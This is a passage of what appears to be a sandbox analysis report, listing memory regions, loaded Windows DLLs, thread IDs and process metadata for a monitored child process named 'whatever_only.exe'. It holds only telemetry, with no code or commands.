0x7fffff81fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff80000" filename = "" Region: id = 7570 start_va = 0x7fefb970000 end_va = 0x7fefb990fff monitored = 0 entry_point = 0x7fefb9803b0 region_type = mapped_file name = "wmiutils.dll" filename = "\\Windows\\System32\\wbem\\wmiutils.dll" (normalized: "c:\\windows\\system32\\wbem\\wmiutils.dll") Region: id = 7571 start_va = 0x8e0000 end_va = 0x8e0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000008e0000" filename = "" Region: id = 7572 start_va = 0x2d40000 end_va = 0x2dbffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002d40000" filename = "" Region: id = 7573 start_va = 0x7fef72c0000 end_va = 0x7fef7319fff monitored = 0 entry_point = 0x7fef72fdde0 region_type = mapped_file name = "repdrvfs.dll" filename = "\\Windows\\System32\\wbem\\repdrvfs.dll" (normalized: "c:\\windows\\system32\\wbem\\repdrvfs.dll") Region: id = 7574 start_va = 0x7fffff7e000 end_va = 0x7fffff7ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff7e000" filename = "" Region: id = 7575 start_va = 0x8e0000 end_va = 0x8e0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000008e0000" filename = "" Region: id = 7576 start_va = 0x7fef71e0000 end_va = 0x7fef724afff monitored = 0 entry_point = 0x7fef7224344 region_type = mapped_file name = "hnetcfg.dll" filename = "\\Windows\\System32\\hnetcfg.dll" (normalized: "c:\\windows\\system32\\hnetcfg.dll") Region: id = 7577 start_va = 0x7fef7160000 end_va = 0x7fef71d3fff monitored = 0 entry_point = 0x7fef71666f0 region_type = mapped_file name = "netprofm.dll" filename = "\\Windows\\System32\\netprofm.dll" (normalized: "c:\\windows\\system32\\netprofm.dll") Region: id = 7578 start_va = 0x7fef7ad0000 end_va = 0x7fef7addfff monitored = 0 entry_point = 0x7fef7ad5500 region_type = mapped_file name = "wbemprox.dll" filename = "\\Windows\\System32\\wbem\\wbemprox.dll" (normalized: "c:\\windows\\system32\\wbem\\wbemprox.dll") Region: id = 7579 start_va = 0x2df0000 end_va = 0x2e6ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002df0000" filename = "" Region: id = 7580 start_va = 0x7fffff7c000 end_va = 0x7fffff7dfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff7c000" filename = "" Region: id = 7581 start_va = 0x7fefbb10000 end_va = 0x7fefbb29fff monitored = 0 entry_point = 0x7fefbb23fbc region_type = mapped_file name = "nci.dll" filename = "\\Windows\\System32\\nci.dll" (normalized: "c:\\windows\\system32\\nci.dll") Region: id = 7582 start_va = 0x2bd0000 end_va = 0x2c4ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002bd0000" filename = "" Region: id = 7583 start_va = 0x2f90000 end_va = 0x300ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002f90000" filename = "" Region: id = 7584 start_va = 0x7fffff78000 end_va = 0x7fffff79fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff78000" filename = "" Region: id = 7585 start_va = 0x7fffff7a000 end_va = 0x7fffff7bfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff7a000" filename = "" Region: id = 7603 start_va = 0x3010000 end_va = 0x320ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003010000" filename = "" Region: id = 7634 start_va = 0x7fef6bb0000 end_va = 0x7fef6bbbfff monitored = 0 entry_point = 0x7fef6bb602c region_type = mapped_file name = "npmproxy.dll" filename = "\\Windows\\System32\\npmproxy.dll" (normalized: "c:\\windows\\system32\\npmproxy.dll") Region: id = 7646 start_va = 0x3210000 end_va = 0x360ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003210000" filename = "" Region: id = 7647 start_va = 0x8e0000 end_va = 0x8e0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000008e0000" filename = "" Region: id = 7648 start_va = 0x2670000 end_va = 0x26effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002670000" filename = "" Region: id = 7649 start_va = 0x2700000 end_va = 0x277ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002700000" filename = "" Region: id = 7650 start_va = 0x2e70000 end_va = 0x2eeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002e70000" filename = "" Region: id = 7651 start_va = 0x3680000 end_va = 0x36fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003680000" filename = "" Region: id = 7652 start_va = 0x7fffff72000 end_va = 0x7fffff73fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff72000" filename = "" Region: id = 7653 start_va = 0x7fffff74000 end_va = 0x7fffff75fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff74000" filename = "" Region: id = 7654 start_va = 0x7fffff76000 end_va = 0x7fffff77fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff76000" filename = "" Region: id = 7655 start_va = 0x3850000 end_va = 0x38cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003850000" filename = "" Region: id = 7656 start_va = 0x7fffff70000 end_va = 0x7fffff71fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff70000" filename = "" Region: id = 7657 start_va = 0x3730000 end_va = 0x37affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003730000" filename = "" Region: id = 7658 start_va = 0x7fffff6e000 end_va = 0x7fffff6ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff6e000" filename = "" Region: id = 7671 start_va = 0x3950000 end_va = 0x39cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003950000" filename = "" Region: id = 7672 start_va = 0x7fffff6c000 end_va = 0x7fffff6dfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff6c000" filename = "" Region: id = 7673 start_va = 0x2ef0000 end_va = 0x2f6ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002ef0000" filename = "" Region: id = 7674 start_va = 0x7fffff6a000 end_va = 0x7fffff6bfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff6a000" filename = "" Region: id = 7679 start_va = 0x39d0000 end_va = 0x41cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000039d0000" filename = "" Region: id = 7752 start_va = 0x42f0000 end_va = 0x436ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000042f0000" filename = "" Region: id = 7753 start_va = 0x7fffff68000 end_va = 0x7fffff69fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff68000" filename = "" Region: id = 7820 start_va = 0x4370000 end_va = 0x533ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004370000" filename = "" Region: id = 8030 start_va = 0x41d0000 end_va = 0x42cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000041d0000" filename = "" Region: id = 8031 start_va = 0x7fef7480000 end_va = 0x7fef7534fff monitored = 0 entry_point = 0x7fef74fcf80 region_type = mapped_file name = "wmiprvsd.dll" filename = "\\Windows\\System32\\wbem\\WmiPrvSD.dll" (normalized: "c:\\windows\\system32\\wbem\\wmiprvsd.dll") Region: id = 8032 start_va = 0x7fefbb30000 end_va = 0x7fefbb41fff monitored = 0 entry_point = 0x7fefbb389d0 region_type = mapped_file name = "ncobjapi.dll" filename = "\\Windows\\System32\\ncobjapi.dll" (normalized: "c:\\windows\\system32\\ncobjapi.dll") Region: id = 8033 start_va = 0x8e0000 end_va = 0x8e0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000008e0000" filename = "" Region: id = 8034 start_va = 0x5460000 end_va = 0x54dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005460000" filename = "" Region: id = 8035 start_va = 0x7fffff66000 end_va = 0x7fffff67fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff66000" filename = "" Region: id = 8036 start_va = 0x7fef7400000 end_va = 0x7fef7470fff monitored = 0 entry_point = 0x7fef74451d0 region_type = mapped_file name = "wbemess.dll" filename = "\\Windows\\System32\\wbem\\wbemess.dll" (normalized: "c:\\windows\\system32\\wbem\\wbemess.dll") Region: id = 8037 start_va = 0x5360000 end_va = 0x53dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005360000" filename = "" Region: id = 8038 start_va = 0x7fffff64000 end_va = 0x7fffff65fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff64000" filename = "" Region: id = 8039 start_va = 0x53e0000 end_va = 0x545ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000053e0000" filename = "" Region: id = 8040 start_va = 0x7fffff62000 end_va = 0x7fffff63fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff62000" filename = "" Region: id = 8154 start_va = 0x37d0000 end_va = 0x384ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000037d0000" filename = "" Region: id = 8155 start_va = 0x5540000 end_va = 0x55bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005540000" filename = "" Region: id = 8156 start_va = 0x5680000 end_va = 0x56fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005680000" filename = "" Region: id = 8157 start_va = 0x5760000 end_va = 0x57dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005760000" filename = "" Region: id = 8158 start_va = 0x5860000 end_va = 0x58dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005860000" filename = "" Region: id = 8159 start_va = 0x7fffff58000 end_va = 0x7fffff59fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff58000" filename = "" Region: id = 8160 start_va = 0x7fffff5a000 end_va = 0x7fffff5bfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff5a000" filename = "" Region: id = 8161 start_va = 0x7fffff5c000 end_va = 0x7fffff5dfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff5c000" filename = "" Region: id = 8162 start_va = 0x7fffff5e000 end_va = 0x7fffff5ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff5e000" filename = "" Region: id = 8163 start_va = 0x7fffff60000 end_va = 0x7fffff61fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff60000" filename = "" Region: id = 8267 start_va = 0x8f0000 end_va = 0x905fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000008f0000" filename = "" Region: id = 8786 start_va = 0x8f0000 end_va = 0x90bfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "firewallapi.dll.mui" filename = "\\Windows\\System32\\en-US\\FirewallAPI.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\firewallapi.dll.mui") Thread: id = 333 os_tid = 0x454 Thread: id = 334 os_tid = 0x438 Thread: id = 335 os_tid = 0x434 Thread: id = 336 os_tid = 0x134 Thread: id = 337 os_tid = 0x200 Thread: id = 338 os_tid = 0x430 Thread: id = 339 os_tid = 0x42c Thread: id = 340 os_tid = 0x420 Thread: id = 341 os_tid = 0x138 Thread: id = 342 os_tid = 0x3f0 Thread: id = 343 os_tid = 0x3dc Thread: id = 344 os_tid = 0x3bc Thread: id = 345 os_tid = 0x3b8 Thread: id = 346 os_tid = 0x36c Thread: id = 347 os_tid = 0x368 Thread: id = 348 os_tid = 0x364 Thread: id = 349 os_tid = 0x360 Thread: id = 350 os_tid = 0x358 Thread: id = 351 os_tid = 0x354 Thread: id = 363 os_tid = 0x61c Thread: id = 364 os_tid = 0x620 Thread: id = 366 os_tid = 0x6c8 Thread: id = 367 os_tid = 0x6d8 Thread: id = 368 os_tid = 0x700 Thread: id = 373 os_tid = 0x744 Thread: id = 374 os_tid = 0x748 Thread: id = 381 os_tid = 0x764 Thread: id = 382 os_tid = 0x768 Thread: id = 383 os_tid = 0x770 Thread: id = 388 os_tid = 0x7b0 Thread: id = 389 os_tid = 0x7bc Thread: id = 390 os_tid = 0x7c0 Thread: id = 391 os_tid = 0x7c4 Thread: id = 392 os_tid = 0x7c8 Thread: id = 393 os_tid = 0x7cc Thread: id = 394 os_tid = 0x7d0 Thread: id = 395 os_tid = 0x250 Thread: id = 396 os_tid = 0x1b8 Thread: id = 397 os_tid = 0x158 Thread: id = 398 os_tid = 0x6bc Thread: id = 399 os_tid = 0x6a8 Thread: id = 400 os_tid = 0x6b8 Thread: id = 401 os_tid = 0x690 Thread: id = 402 os_tid = 0x72c Thread: id = 403 os_tid = 0x6d4 Thread: id = 404 os_tid = 0x7f0 Thread: id = 405 os_tid = 0x7ec Thread: id = 406 os_tid = 0x7e8 Thread: id = 407 os_tid = 0x7a0 Thread: id = 408 os_tid = 0x734 Thread: id = 409 os_tid = 0x79c Thread: id = 410 os_tid = 0x7e0 Thread: id = 471 os_tid = 0x8d0 Process: id = "80" image_name = "whatever_only.exe" filename = "c:\\comproviderruntimecommon\\whatever_only.exe" page_root = "0x21961000" os_pid = "0x550" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "76" os_parent_pid = "0x4e8" cmd_line = "C:\\comproviderRuntimecommon\\whatever_only.exe " cur_dir = "C:\\Windows\\system32\\" os_username = "Q9IATRKPRH\\kEecfMwgj" bitness = "32" os_groups = "Q9IATRKPRH\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000fc5b" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 7247 start_va = 0x10000 end_va = 0x2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 7248 start_va = 0x30000 end_va = 0x33fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 7249 start_va = 0x1d0000 end_va = 0x2cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001d0000" filename = "" Region: id = 7250 start_va = 0xca0000 end_va = 0xd75fff monitored = 1 entry_point = 0xd6d67e region_type = mapped_file name = "whatever_only.exe" filename = "\\comproviderRuntimecommon\\whatever_only.exe" (normalized: "c:\\comproviderruntimecommon\\whatever_only.exe") Region: id = 7251 start_va = 0x77950000 end_va = 0x77af8fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 7252 start_va = 0x7efe0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efe0000" filename = "" Region: id = 7253 start_va = 0x7ffe0000 end_va = 0x7ffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 7254 start_va = 0x7feffc70000 end_va = 0x7feffc70fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 7255 start_va = 0x7fffffb0000 end_va = 0x7fffffd2fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000007fffffb0000" filename = "" Region: id = 7256 start_va = 0x7fffffd9000 end_va = 0x7fffffd9fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffd9000" filename = "" Region: id = 7257 start_va = 0x7fffffde000 end_va = 0x7fffffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffde000" filename = "" Region: id = 7258 start_va = 0x40000 end_va = 0x1bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000040000" filename = "" Region: id = 7605 start_va = 0x7fefa650000 end_va = 0x7fefa6befff monitored = 1 entry_point = 0x7fefa651134 region_type = mapped_file name = "mscoree.dll" filename = "\\Windows\\System32\\mscoree.dll" (normalized: "c:\\windows\\system32\\mscoree.dll") Region: id = 7606 start_va = 0x77730000 end_va = 0x7784efff monitored = 0 entry_point = 0x77745340 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 7607 start_va = 0x7fefd9f0000 end_va = 0x7fefda5bfff monitored = 0 entry_point = 0x7fefd9f2780 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 7611 start_va = 0x10000 end_va = 0x1ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 7612 start_va = 0x7efe0000 end_va = 0x7f0dffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 7613 start_va = 0x7f0e0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 7614 start_va = 0x40000 end_va = 0xa6fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 7615 start_va = 0x140000 end_va = 0x1bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000140000" filename = "" Region: id = 7616 start_va = 0x2d0000 end_va = 0x37ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000002d0000" filename = "" Region: id = 7617 start_va = 0x380000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000380000" filename = "" Region: id = 7763 start_va = 0x480000 end_va = 0x6affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000480000" filename = "" Region: id = 7764 start_va = 0x7fefed40000 end_va = 0x7fefee1afff monitored = 0 entry_point = 0x7fefed60760 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll") Region: id = 7765 start_va = 0x7fefec30000 end_va = 0x7fefeccefff monitored = 0 entry_point = 0x7fefec325a0 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 7766 start_va = 0x7fefecd0000 end_va = 0x7fefeceefff monitored = 0 entry_point = 0x7fefecd60e8 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 7767 start_va = 0x7fefde20000 end_va = 0x7fefdf4cfff monitored = 0 entry_point = 0x7fefde6ed50 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 7768 start_va = 0xb0000 end_va = 0xcffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000000b0000" filename = "" Region: id = 7769 start_va = 0x480000 end_va = 0x57ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000480000" filename = "" Region: id = 7770 start_va = 0x630000 end_va = 0x6affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000630000" filename = "" Region: id = 7771 start_va = 0x7fef6e10000 end_va = 0x7fef6eb8fff monitored = 1 entry_point = 0x7fef6e11010 region_type = mapped_file name = "mscoreei.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscoreei.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\mscoreei.dll") Region: id = 7772 start_va = 0x7fefa640000 end_va = 0x7fefa642fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "api-ms-win-core-synch-l1-2-0.dll" filename = "\\Windows\\System32\\api-ms-win-core-synch-l1-2-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-core-synch-l1-2-0.dll") Region: id = 7917 start_va = 0x7fefdda0000 end_va = 0x7fefde10fff monitored = 0 entry_point = 0x7fefddb1e20 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\System32\\shlwapi.dll" (normalized: "c:\\windows\\system32\\shlwapi.dll") Region: id = 7918 start_va = 0x7fefe960000 end_va = 0x7fefe9c6fff monitored = 0 entry_point = 0x7fefe96b03c region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 7919 start_va = 0x77850000 end_va = 0x77949fff monitored = 0 entry_point = 0x7786a2c8 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 7920 start_va = 0x7fefe5f0000 end_va = 0x7fefe5fdfff monitored = 0 entry_point = 0x7fefe5f1080 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\System32\\lpk.dll" (normalized: "c:\\windows\\system32\\lpk.dll") Region: id = 7921 start_va = 0x7fefe680000 end_va = 0x7fefe748fff monitored = 0 entry_point = 0x7fefe6fa874 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\System32\\usp10.dll" (normalized: "c:\\windows\\system32\\usp10.dll") Region: id = 7922 start_va = 0xd0000 end_va = 0xf8fff monitored = 0 entry_point = 0xd1010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 7923 start_va = 0x6b0000 end_va = 0x837fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 7924 start_va = 0xd0000 end_va = 0xf8fff monitored = 0 entry_point = 0xd1010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 7925 start_va = 0x7fefdc70000 end_va = 0x7fefdc9dfff monitored = 0 entry_point = 0x7fefdc71010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 7926 start_va = 0x7fefe180000 end_va = 0x7fefe288fff monitored = 0 entry_point = 0x7fefe181064 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\System32\\msctf.dll" (normalized: "c:\\windows\\system32\\msctf.dll") Region: id = 7927 start_va = 0x840000 end_va = 0x9c0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000840000" filename = "" Region: id = 7928 start_va = 0xd80000 end_va = 0x217ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000d80000" filename = "" Region: id = 7929 start_va = 0x20000 end_va = 0x20fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000020000" filename = "" Region: id = 7930 start_va = 0xb0000 end_va = 0xb0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000000b0000" filename = "" Region: id = 7931 start_va = 0xc0000 end_va = 0xcffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000000c0000" filename = "" Region: id = 7932 start_va = 0x9d0000 end_va = 0xa9ffff monitored = 1 entry_point = 0xa9d67e region_type = mapped_file name = "whatever_only.exe" filename = "\\comproviderRuntimecommon\\whatever_only.exe" (normalized: "c:\\comproviderruntimecommon\\whatever_only.exe") Region: id = 8200 start_va = 0x9d0000 end_va = 0xa9ffff monitored = 1 entry_point = 0xa9d67e region_type = mapped_file name = "whatever_only.exe" filename = "\\comproviderRuntimecommon\\whatever_only.exe" (normalized: "c:\\comproviderruntimecommon\\whatever_only.exe") Region: id = 8201 start_va = 0x7fefca60000 end_va = 0x7fefca6bfff monitored = 0 entry_point = 0x7fefca61064 region_type = mapped_file name = "version.dll" filename = "\\Windows\\System32\\version.dll" (normalized: "c:\\windows\\system32\\version.dll") Region: id = 8247 start_va = 0x7fef4050000 end_va = 0x7fef4b16fff monitored = 1 entry_point = 0x7fef40563a0 region_type = mapped_file name = "clr.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\clr.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\clr.dll") Region: id = 8250 start_va = 0x7fef4050000 end_va = 0x7fef4b16fff monitored = 1 entry_point = 0x7fef40563a0 region_type = mapped_file name = "clr.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\clr.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\clr.dll") Region: id = 8251 start_va = 0x7fef4050000 end_va = 0x7fef4b16fff monitored = 1 entry_point = 0x7fef40563a0 region_type = mapped_file name = "clr.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\clr.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\clr.dll") Region: id = 8252 start_va = 0x7fefa780000 end_va = 0x7fefa795fff monitored = 0 entry_point = 0x7fefa78c000 region_type = mapped_file name = "vcruntime140_clr0400.dll" filename = "\\Windows\\System32\\vcruntime140_clr0400.dll" (normalized: "c:\\windows\\system32\\vcruntime140_clr0400.dll") Region: id = 8253 start_va = 0x7fefa6c0000 end_va = 0x7fefa77cfff monitored = 0 entry_point = 0x7fefa747db0 region_type = mapped_file name = "ucrtbase_clr0400.dll" filename = "\\Windows\\System32\\ucrtbase_clr0400.dll" (normalized: "c:\\windows\\system32\\ucrtbase_clr0400.dll") Region: id = 8269 start_va = 0xd0000 end_va = 0xd0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000d0000" filename = "" Region: id = 8275 start_va = 0xe0000 end_va = 0xeffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 8286 start_va = 0xf0000 end_va = 0xfffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000000f0000" filename = "" Region: id = 8292 start_va = 0x7fe949e0000 end_va = 0x7fe949effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fe949e0000" filename = "" Region: id = 8294 start_va = 0x7fe949f0000 end_va = 0x7fe949fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fe949f0000" filename = "" Region: id = 8303 start_va = 0x7fe94a00000 end_va = 0x7fe94a8ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fe94a00000" filename = "" Region: id = 8304 start_va = 0x7fe94a90000 end_va = 0x7fe94afffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fe94a90000" filename = "" Region: id = 8305 start_va = 0x100000 end_va = 0x100fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000100000" filename = "" Region: id = 8306 start_va = 0x110000 end_va = 0x110fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000110000" filename = "" Region: id = 8340 start_va = 0x9d0000 end_va = 0xadffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000009d0000" filename = "" Region: id = 8341 start_va = 0xae0000 end_va = 0xc5ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000ae0000" filename = "" Region: id = 8342 start_va = 0x21d0000 end_va = 0x22cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000021d0000" filename = "" Region: id = 8343 start_va = 0x7fffffdc000 end_va = 0x7fffffddfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffdc000" filename = "" Region: id = 8372 start_va = 0x120000 end_va = 0x12ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000120000" filename = "" Region: id = 8373 start_va = 0x22d0000 end_va = 0x1a2cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000022d0000" filename = "" Region: id = 8374 start_va = 0x1a2d0000 end_va = 0x1a64ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001a2d0000" filename = "" Region: id = 8375 start_va = 0x1a650000 end_va = 0x1a750fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001a650000" filename = "" Region: id = 8378 start_va = 0x1a8b0000 end_va = 0x1a9affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001a8b0000" filename = "" Region: id = 8379 start_va = 0x7fffffda000 end_va = 0x7fffffdbfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffda000" filename = "" Region: id = 8403 start_va = 0xae0000 end_va = 0xbdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000ae0000" filename = "" Region: id = 8404 start_va = 0xbe0000 end_va = 0xc5ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000be0000" filename = "" Region: id = 8405 start_va = 0x1a7b0000 end_va = 0x1a8affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001a7b0000" filename = "" Region: id = 8406 start_va = 0x7fffffd7000 end_va = 0x7fffffd8fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffd7000" filename = "" Region: id = 8447 start_va = 0x1a9b0000 end_va = 0x1ac7efff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 8667 start_va = 0x7fef2a50000 end_va = 0x7fef404cfff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "mscorlib.ni.dll" filename = 